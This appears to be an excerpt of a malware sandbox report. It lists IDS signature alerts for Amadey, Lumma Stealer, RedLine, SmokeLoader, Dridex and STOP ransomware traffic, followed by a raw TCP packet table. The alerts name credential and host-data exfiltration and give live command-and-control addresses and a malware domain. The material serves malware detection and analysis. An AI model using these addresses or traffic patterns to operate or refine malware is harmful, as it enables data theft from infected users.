192.168.2.45.42.65.8050039802044695 07/27/23-18:28:06.311162	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50039	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749949802043206 07/27/23-18:27:55.915619	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49949	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049748802027700 07/27/23-18:27:27.244170	TCP	2027700	ET TROJAN Amadey CnC Check-In	49748	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050018802027700 07/27/23-18:28:02.909532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749910802043206 07/27/23-18:27:53.627608	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49910	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049867802027700 07/27/23-18:27:47.671311	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050040802044695 07/27/23-18:28:06.500314	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50040	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049832802027700 07/27/23-18:27:40.853840	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050034802044695 07/27/23-18:28:05.332894	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50034	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049875802044695 07/27/23-18:27:48.484965	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49875	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049884802044695 07/27/23-18:27:49.664500	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49884	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.854075532023883 07/27/23-18:27:41.500953	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	54075	53	192.168.2.4	8.8.8.8
91.227.16.22192.168.2.480498612018572 07/27/23-18:27:46.927935	TCP	2018572	ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families)	80	49861	91.227.16.22	192.168.2.4
190.139.250.133192.168.2.480497382036335 07/27/23-18:27:23.947985	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49738	190.139.250.133	192.168.2.4
192.168.2.45.42.65.8049758802027700 07/27/23-18:27:28.375754	TCP	2027700	ET TROJAN Amadey CnC Check-In	49758	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049828802027700 07/27/23-18:27:40.450623	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049819802027700 07/27/23-18:27:39.203190	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050000802027700 07/27/23-18:27:59.739361	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049742802027700 07/27/23-18:27:23.104290	TCP	2027700	ET TROJAN Amadey CnC Check-In	49742	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049893802044695 07/27/23-18:27:50.407681	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49893	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049991802044695 07/27/23-18:27:58.716334	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49991	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050016802027700 07/27/23-18:28:02.730584	TCP	2027700	ET TROJAN Amadey CnC Check-In	50016	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049889802027700 07/27/23-18:27:50.056615	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050025802027700 07/27/23-18:28:03.989312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50025	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049822802027700 07/27/23-18:27:39.595818	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049911802027700 07/27/23-18:27:53.652703	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050034802027700 07/27/23-18:28:05.332894	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049805802044695 07/27/23-18:27:37.016040	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49805	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049725802044695 07/27/23-18:27:21.486110	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49725	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049813802027700 07/27/23-18:27:38.592958	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049902802027700 07/27/23-18:27:53.227235	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049918802027700 07/27/23-18:27:54.102597	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049959802027700 07/27/23-18:27:56.813648	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049875802027700 07/27/23-18:27:48.484965	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.4	5.42.65.80
192.168.2.4211.171.233.12949732802020826 07/27/23-18:27:22.491909	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49732	80	192.168.2.4	211.171.233.129
192.168.2.48.8.8.850911532045695 07/27/23-18:26:40.315075	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	50911	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049847802027700 07/27/23-18:27:43.126108	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049977802027700 07/27/23-18:27:57.916686	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049723802027700 07/27/23-18:27:20.997197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49723	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049812802027700 07/27/23-18:27:38.391365	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049815802044695 07/27/23-18:27:38.771452	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49815	80	192.168.2.4	5.42.65.80
192.168.2.451.89.201.494993469322046045 07/27/23-18:28:02.863918	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	49934	6932	192.168.2.4	51.89.201.49
192.168.2.4190.139.250.13349784802036333 07/27/23-18:27:31.776362	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49784	80	192.168.2.4	190.139.250.133
192.168.2.45.42.65.8049874802044695 07/27/23-18:27:48.264031	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49874	80	192.168.2.4	5.42.65.80
192.168.2.4179.25.2.9549763802020826 07/27/23-18:27:29.458086	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49763	80	192.168.2.4	179.25.2.95
192.168.2.45.42.65.8050015802027700 07/27/23-18:28:02.435380	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.750020802043206 07/27/23-18:28:03.092051	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50020	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049785802044695 07/27/23-18:27:31.601012	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49785	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049882802027700 07/27/23-18:27:49.488669	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.4	5.42.65.80
192.168.2.4211.119.84.11149741802020826 07/27/23-18:27:23.038083	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49741	80	192.168.2.4	211.119.84.111
192.168.2.45.42.65.8049841802027700 07/27/23-18:27:42.080667	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049744802044695 07/27/23-18:27:23.390200	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49744	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049843802044695 07/27/23-18:27:42.553170	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49843	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050018802044695 07/27/23-18:28:02.909532	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50018	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050024802044695 07/27/23-18:28:03.735111	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50024	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049796802027700 07/27/23-18:27:35.605498	TCP	2027700	ET TROJAN Amadey CnC Check-In	49796	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749913802043206 07/27/23-18:27:53.765803	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49913	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8050027802044695 07/27/23-18:28:04.181576	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50027	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049863802027700 07/27/23-18:27:47.087600	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049866802027700 07/27/23-18:27:47.476195	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749904802043206 07/27/23-18:27:53.232737	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49904	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049955802027700 07/27/23-18:27:56.221466	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049961802027700 07/27/23-18:27:57.062232	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050033802044695 07/27/23-18:28:05.161911	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50033	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049774802027700 07/27/23-18:27:30.411080	TCP	2027700	ET TROJAN Amadey CnC Check-In	49774	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049926802044695 07/27/23-18:27:54.503258	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49926	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049837802044695 07/27/23-18:27:41.681795	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49837	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050030802044695 07/27/23-18:28:04.613520	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50030	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.856807532045695 07/27/23-18:26:45.425994	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	56807	53	192.168.2.4	8.8.8.8
192.168.2.4188.114.97.749908802043206 07/27/23-18:27:53.491152	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49908	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049935802044695 07/27/23-18:27:54.874546	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49935	80	192.168.2.4	5.42.65.80
192.168.2.451.89.201.494975169322043231 07/27/23-18:27:38.372778	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49751	6932	192.168.2.4	51.89.201.49
192.168.2.45.42.65.8049748802044695 07/27/23-18:27:27.244170	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49748	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049929802044695 07/27/23-18:27:54.687517	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49929	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049830802044695 07/27/23-18:27:40.666457	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49830	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050005802044695 07/27/23-18:28:00.408770	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50005	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049865802044695 07/27/23-18:27:47.272503	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49865	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049735802044695 07/27/23-18:27:22.425901	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49735	80	192.168.2.4	5.42.65.80
192.168.2.4187.204.99.21849760802020826 07/27/23-18:27:29.182970	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49760	80	192.168.2.4	187.204.99.218
192.168.2.45.42.65.8049824802044695 07/27/23-18:27:39.782384	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49824	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749987802043206 07/27/23-18:27:58.459630	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49987	80	192.168.2.4	188.114.97.7
192.168.2.451.89.201.494993469322043231 07/27/23-18:28:02.863918	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49934	6932	192.168.2.4	51.89.201.49
192.168.2.45.42.65.8049872802027700 07/27/23-18:27:48.065922	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749932802043206 07/27/23-18:27:54.825186	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49932	80	192.168.2.4	188.114.96.7
192.168.2.4188.114.97.749952802043206 07/27/23-18:27:56.039853	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49952	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049968802027700 07/27/23-18:27:57.470848	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.750006802043206 07/27/23-18:28:00.586014	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50006	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049907802044695 07/27/23-18:27:53.472643	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49907	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049755802027700 07/27/23-18:27:27.957342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49755	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049782802044695 07/27/23-18:27:31.319911	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49782	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.857300532045695 07/27/23-18:27:16.832306	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	57300	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8050012802027700 07/27/23-18:28:01.740311	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.4	5.42.65.80

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2023 18:26:40.371469975 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.387868881 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.389013052 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.426811934 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.426863909 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.443232059 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.443289042 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.545775890 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.545840025 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.547528028 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.675707102 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.675774097 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.692006111 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.692054033 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.740789890 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.740848064 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:40.741115093 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:40.845814943 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:41.101197958 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:41.101340055 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:41.107641935 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:41.560359001 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:41.865766048 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:41.865828037 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:41.865890026 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.118915081 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.118988991 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.119039059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.119088888 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.119224072 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.119309902 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.372081995 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372173071 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372224092 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372257948 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.372292995 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372344971 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372394085 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372396946 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.372442007 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372462988 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.372492075 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.372554064 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625403881 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625497103 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625547886 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625595093 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625636101 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625643015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625691891 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625708103 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625741959 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625788927 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625798941 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625835896 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625865936 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625889063 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625936031 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.625957012 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.625986099 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.626033068 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.626072884 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.626080990 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.626130104 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.626177073 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.626152039 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.626249075 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879013062 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879103899 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879178047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879204988 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879256010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879328012 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879329920 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879400969 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879456997 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879479885 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879528999 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879584074 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879632950 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879637003 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879697084 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879705906 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879750967 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879800081 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879823923 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.879848957 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879897118 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879946947 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.879960060 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880000114 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880011082 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880049944 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880101919 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880132914 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880166054 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880199909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880248070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880258083 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880326986 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880342007 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880393028 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880407095 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880443096 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880489111 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880505085 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880532980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880589008 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880598068 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880660057 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880709887 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880739927 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:42.880760908 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:42.880824089 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.133661032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.133749008 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.133806944 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.133817911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.133892059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.133939981 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.133968115 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134041071 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134088993 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134114981 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134186983 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134239912 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134255886 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134327888 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134373903 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134382963 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134449005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134494066 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134504080 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134552956 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134596109 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134617090 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134674072 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134723902 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134723902 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134772062 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134819031 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134831905 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134870052 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134917021 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.134919882 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:43.134964943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:43.135013103 CEST	49691	80	192.168.2.4	211.171.233.129
